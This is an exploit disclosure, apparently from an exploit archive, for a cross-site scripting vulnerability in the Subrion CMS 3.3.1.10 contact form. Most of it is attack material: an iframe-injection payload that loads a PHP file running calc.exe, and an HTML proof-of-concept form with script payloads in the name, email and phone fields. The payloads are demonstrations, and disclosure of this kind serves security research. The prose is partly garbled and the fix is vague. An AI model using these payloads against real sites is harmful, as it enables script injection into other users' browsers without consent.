Subrion CMS 3.3.1.10 - Cross Site Scripting Vulnerability

# Title : Subrion CMS 3.3.1.10 - Cross Site Scripting Vulnerability
# Author : ZwX
# Vendor : http://www.subrion.com/
# Severity Level : Medium
# Tested on : Windows 7

------------------------
      Description
------------------------

An attacker can inject a frame injection to execute code arbitrary
example : insert code file .php (Calculator)

<?php exec('C:\WINDOWS\system32\calc.exe');?> 

Payload = "'/><iframe src="http://Localhost/file.php"/>

------------------------
         PoC
------------------------

<form action="http://Localhost/contacts/" method="post" id="contact" class="ia-form">
<input name="name" id="contact-name" value="'"/><script>alert(1)</script>" type="text">
<input name="email" id="contact-email" value="'"/><script>alert(2)</script>" type="text">
<input name="phone" id="contact-phone" value="'"/><script>alert(3)</script>" type="text">
<textarea class="input-block-level" id="msg" name="msg" rows="5"></textarea>
<input class="btn btn-primary" value="Send" type="submit"></form>

------------------------
       Solution
------------------------

Update the contact form

#  0day.today [2018-01-01]  #